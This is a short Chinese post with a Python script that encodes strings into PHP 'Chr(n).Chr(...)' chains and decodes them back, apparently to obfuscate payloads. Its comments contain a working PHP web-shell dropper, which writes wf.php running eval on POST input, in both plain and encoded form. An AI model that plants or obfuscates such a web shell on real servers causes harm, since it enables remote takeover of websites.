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针对chr ord写了一个基于python3的脚本,简单脚本,未进行容错处理,欢迎扶正。
#!/usr/bin/env python3
import re
#2021.02.20
#bychacheyu
# ord()函数就是用来返回单个字符的ascii值(0-255)
# 相反地,chr()函数是输入一个整数【0,255】返回其对应的ascii符号
def decode(de_inputlist):
# inputlist = "Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(119).Chr(102).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(108).Chr(97).Chr(108).Chr(97).Chr(108).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59)"
inlists = re.findall(r'\d+', de_inputlist)
str_inlist = ""
for inlist in inlists:
str_inlist += str(chr(int(inlist)))
print(str_inlist)
def encode(en_inputlist):
# inputlist = "fputs(fopen('wf.php','w'),'<?php @eval($_POST[lalala])?>');"
ascii_lists = list(map(ord, en_inputlist))#将字符串进行加密并修改成数组类型
str_lists = list(map(str,ascii_lists))#将数组中的整型修改成str类型
str_inlist = ""
# str_list += str("Chr("+str_lists[1]+").")
for str_list in str_lists:
str_inlist += str("Chr("+str_list+").")#针对数组中的字符串进行替换拼接
str_inlist = str_inlist[:-1]#去掉字符串最后一位
print(str_inlist)
if __name__ == "__main__":
print("*******************************")
inputstring = input("please input your encode/decode code: ")
nu_input = input("please input number: PS(encode is 1 | decode is 2: ")
if nu_input == "1":
print("加密结果:")
encode(inputstring)
elif nu_input == "2":
print("解密结果:")
decode(inputstring)
else:
print("your input number is worry!")
print("*******************************")
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